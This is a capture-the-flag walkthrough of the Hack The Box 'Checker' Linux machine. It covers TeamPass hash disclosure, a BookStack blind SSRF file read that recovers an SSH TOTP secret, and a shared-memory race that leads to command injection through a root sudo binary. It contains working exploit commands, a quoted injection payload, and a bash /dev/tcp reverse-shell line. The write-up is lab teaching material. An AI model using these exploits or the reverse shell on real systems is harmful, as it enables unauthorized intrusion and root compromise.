Hack The Box / LINUX / 2025-03-01
Hack The Box — Checker (Linux)
TeamPass credential disclosure and BookStack blind SSRF/LFR expose SSH MFA secret, then a vulnerable root sudo binary is reversed and exploited through shared-memory tampering to command injection and root shell.
Target
- IP:
10.129.54.35
Recon
sudo nmap -sC -sV 10.129.54.35 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http Apache httpd
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: 403 Forbidden
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Go to http://10.129.54.35/.
It redirects to http://checker.htb/login, so add checker.htb to /etc/hosts and browse http://checker.htb/login.
This is BookStack.
Try default creds:
admin@admin.com:password
It does not work.
BookStack repo:
https://github.com/BookStackApp/BookStack
Go to http://10.129.54.35:8080/.
This is TeamPass.
There is an exploit for CVE-2023-1545:
https://huntr.com/bounties/942c015f-7486-49b1-94ae-b1538d812bc2
Copy the exploit and run:
bash exp.sh http://checker.htb:8080/
Output:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
Crack with hashcat:
./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./hash ./rockyou.txt --username
Result:
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
Log in to TeamPass with:
bob:cheerleader
In folder bob-access we find:
- BookStack credentials:
bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD - SSH credentials:
reader:hiccup-publicly-genesis
SSH password appears valid but it asks for a verification code.
BookStack LFR via Blind SSRF
Log in to BookStack with bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD.
In page source:
<!-- Styles -->
<link rel="stylesheet" href="http://checker.htb/dist/styles.css?version=v23.10.2">
Likely BookStack version is 23.10.2.
There is CVE-2023-6199 and an exploit path:
https://fluidattacks.com/advisories/imagination/https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack/
Download exploit repo:
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git
Create a book test, create page test, click draft/save draft, intercept request in Burp and send to Repeater.
A PUT request is sent to /ajax/page/8/save-draft.
Modify php_filter_chains_oracle_exploit/filters_chain_oracle/core/requestor.py by adding these lines in the proper places.
At the beginning:
import base64
Before session.put() requests:
base64_chain = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode())
filter_chain = f"<img src='data:image/png;base64,{base64_chain.decode()}'/>"
Run exploit:
python3 ./php_filter_chains_oracle_exploit/filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/8/save-draft --file /etc/passwd --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"4CrQu2DovY4hoolzuTIwnPg5mMFL5rvOU7YN5BZH","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IllXalMzeUVPQktDNTY1Y0hCZncxN1E9PSIsInZhbHVlIjoiUFVyWEx0STU2Ujl2L1luZTdqZjBXMThyeGNEMXVNMWd3VTRJbHFNNStvV2dqQlZJOHY4bDR5WkwxUThDdHZIbWQ2Y1IySWFIREh3cld4b2EvUW1OY2xYMUkxNnBnZlo4RkF3bXJmbEdENk9neWU2eDJ6QThWenkxVlpaMmRzd2oiLCJtYWMiOiI3ZTY0M2I1MzM4Yjc1Y2E3MDEwNGU3Nzg5ODMyN2MxOWQ0ZmRhZGUwZTZiOTcwY2EwN2Q2ZjYyYTE5MWNhZjU4IiwidGFnIjoiIn0%3D"}'
Take X-CSRF-TOKEN and bookstack_session from Burp.
After enough time, we can dump /etc/passwd.
To retrieve MFA seed, based on these pages:
https://www.digitalocean.com/community/tutorials/how-to-set-up-multi-factor-authentication-for-ssh-on-ubuntu-20-04https://askubuntu.com/questions/1370702/need-help-on-google-authenticator-on-ubuntu
we expect .google_authenticator in user home, but direct access is denied.
Back to http://checker.htb/, there is a book linux security with page Basic Backup with cp containing:
#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"
mkdir -p $DESTINATION
cp -r --remove-destination --no-preserve=mode,ownership $SOURCE $DESTINATION/
So likely backup path contains home copies.
Dump:
/backup/home_backup/home/reader/.google_authenticator
Using the same exploit.
Output:
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'
OTP is TOTP. We got the secret.
Use any TOTP generator site, for example:
https://totp.danhersam.com/
Insert secret, copy valid TOTP, then SSH as reader with known password plus TOTP.
Login works.
Sudo Privilege Escalation Path
Check sudo rights:
sudo -l
Matching Defaults entries for reader on checker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
Script content:
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
Inspect folder:
ls -l /opt/hash-checker/
-rwxr--r-- 1 root root 141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root 750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root 1464 Jan 30 17:09 leaked_hashes.txt
Check binary:
file /opt/hash-checker/check_leak
/opt/hash-checker/check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped
Try running:
sudo /opt/hash-checker/check-leak.sh
Error: <USER> is not provided.
sudo /opt/hash-checker/check-leak.sh root
User not found in the database.
sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x59953 as temp location
User will be notified via bob@checker.htb
To better understand behavior, copy check_leak and leaked_hashes.txt locally and analyze with Ghidra.
The program loads env vars:
DB_HOSTDB_USERDB_PASSWORDDB_NAME
It queries a local MySQL database (teampass_users table).
Local Reproduction of check_leak
To emulate binary behavior, run local TeamPass with official docker-compose.
Download TeamPass docker compose:
https://github.com/nilsteampassnet/TeamPass/raw/refs/heads/master/docker-compose.yml
In TeamPass service, set:
ports:
- 127.0.0.1:80:80
networks:
- teampass-internal
# - backend
In MySQL service, set:
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: teampass
MYSQL_PASSWORD: root
MYSQL_USER: teampass
volumes:
- ./teampass-db:/var/lib/mysql
- ./mysql_socket:/run/mysqld
ports:
- 127.0.0.1:3306:3306
Comment these network lines:
# backend:
# external: true
Run:
docker compose up --build -d
Go to http://127.0.0.1/install/install.php and complete install:
- Start
- Set
Absolute path to secure pathto/tmp - Continue with DB values:
- Host:
db - Database:
teampass - Login:
teampass - Password:
root - Port:
3306 - Continue with form values:
- Table prefix:
teampass_ - Admin password:
root - Confirm:
root - Admin email:
root@root.com
Move to home page and log in with:
admin:root
Create .env:
export DB_HOST=127.0.0.1
export DB_USER=root
export DB_PASSWORD=root
export DB_NAME=teampass
Run:
source .env
./check_leak bob
Output:
User not found in the database.
In local TeamPass, add user bob. Use change login password and show password. Example password:
2q6W3Dv7HbmsphRvrs3G
Get hash from local DB:
mysql -h 127.0.0.1 -u teampass -p
Enter password root, then:
use teampass;
select id,name,pw from teampass_users;
Copy hash, e.g.:
$2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm
Prepare local leaked hashes file:
sudo mkdir -p /opt/hash-checker/
sudo chown kali:kali /opt/hash-checker/
vim /opt/hash-checker/leaked_hashes.txt
Insert bob hash.
Set MySQL socket in client config:
vim ~/.my.cnf
Add:
[client]
socket=/home/kali/tmp/checker/mysql_socket/mysqld.sock
Run again:
./check_leak bob
Output:
Password is leaked!
Using the shared memory 0x90941 as temp location
User will be notified via bob@checker.htb
So the binary logic is correctly reproduced.
Vulnerability Analysis and Exploit
After loading env vars, program calls:
pw_hash = (char *)fetch_hash_from_db(db_host,db_user,db_password,db_name,user_input);
SQL query is:
snprintf((char *)(buf_ptr + 4),0x400,"SELECT pw FROM teampass_users WHERE login = \'%s\';",
input_user);
Then:
check_result = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",pw_hash);
If hash is present, it proceeds to:
key = write_to_shm(pw_hash);
Inside that function:
cur_time_1 = time((time_t *)0x0);
srand((uint)cur_time_1);
rand_val = rand();
__shmid = shmget(rand_val % 0xfffff,1024,950);
shmget docs:
https://man7.org/linux/man-pages/man2/shmget.2.html
Signature:
int shmget(key_t key, size_t size, int shmflg);
First argument is key. Here flags are IPC_CREAT | 0666.
Reference for flags:
https://stackoverflow.com/questions/40380327/what-is-the-use-of-ipc-creat-0666-flag-in-shmget-function-in-c
IPC_CREAT is octal 01000, and 0666 are permissions.
OR example in Python:
int('0o1000', 8) | int('0o0666', 8)
Result is 950, matching Ghidra value.
Therefore it allocates 1024 bytes of shared memory writable/readable by all users.
Then with shmat it gets pointer and writes:
snprintf(__s,1024,"Leaked hash detected at %s > %s\n",timestamp_str,pw_hash);
String example:
Leaked hash detected at Thu Feb 27 00:19:56 2025 > $2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm
Returned key is rand_val % 0xfffff.
Then program prints:
printf("Using the shared memory 0x%X as temp location\n",(ulong)key);
Then sleeps for 1 second:
sleep(1);
Then calls:
notify_user(db_host,db_user,db_password,db_name,key);
notify_user reopens shared memory by key, takes content after > (so effectively only the hash), and executes:
snprintf(str_ptr,(long)(tmp + 1),
"mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"% s\"\'"
,db_user,db_name,pw_hash);
__stream = popen(str_ptr,"r");
Equivalent command:
mysql -u root -D teampass -s -N -e 'select email from teampass_users where pw = "$2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm"'
Then it prints:
printf("User will be notified via %s\n",&my_struct_ptr->reserved_1);
Exploit Idea
Command injection.
We do not control db_user and db_name (from .env), but we can control shared memory content.
Because shared memory is world-writable and there is a sleep(1), we can race and overwrite the hash before notify_user reads it.
Set hash payload to:
$2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm"'; sleep 5 #
Injected command becomes:
mysql -u root -D teampass -s -N -e 'select email from teampass_users where pw = "$2y$13$4Gt/3IePJbRqRmbD96WHQOKcSn2DIXTky567GjwSPlDN883ji8Nqm"'; sleep 5 #"'
So our command executes after query termination.
To get reverse shell, create /dev/shm/rev on target:
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.9/4444 0>&1
Make it writable/executable for everyone:
chmod 777 /dev/shm/rev
Listen on attacker:
nc -vlnp 4444
I automated the race with Python (ctypes to call libc shared-memory functions).
See exp.py.
Copy exp.py to target and run:
python3 exp.py
We get a reverse shell as root.